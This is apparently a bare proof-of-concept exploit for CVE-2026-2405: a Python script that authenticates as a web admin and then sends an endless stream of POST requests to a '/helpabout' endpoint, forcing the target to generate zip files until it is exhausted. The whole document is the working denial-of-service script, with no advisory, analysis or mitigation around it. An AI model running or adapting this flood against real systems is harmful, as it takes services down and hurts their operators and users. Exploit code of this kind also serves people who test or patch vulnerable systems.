CVE-2026-2405

import requests # Configuration target_url = "http://target-ip/helpabout" username = "admin" password = "password" # Create session to simulate authenticated Web Admin user session = requests.Session() login_payload = { "username": username, "password": password } # Login (Adjust endpoint based on actual application logic) # session.post("http://target-ip/login", data=login_payload) print("Starting DoS attack by flooding /helpabout...") try: while True: # Send POST requests to trigger excessive zip file creation response = session.post(target_url) if response.status_code == 200: print(f"Request sent, system generating zip file...") else: print(f"Received status code: {response.status_code}") except KeyboardInterrupt: print("Attack stopped by user.") except Exception as e: print(f"An error occurred: {e}")

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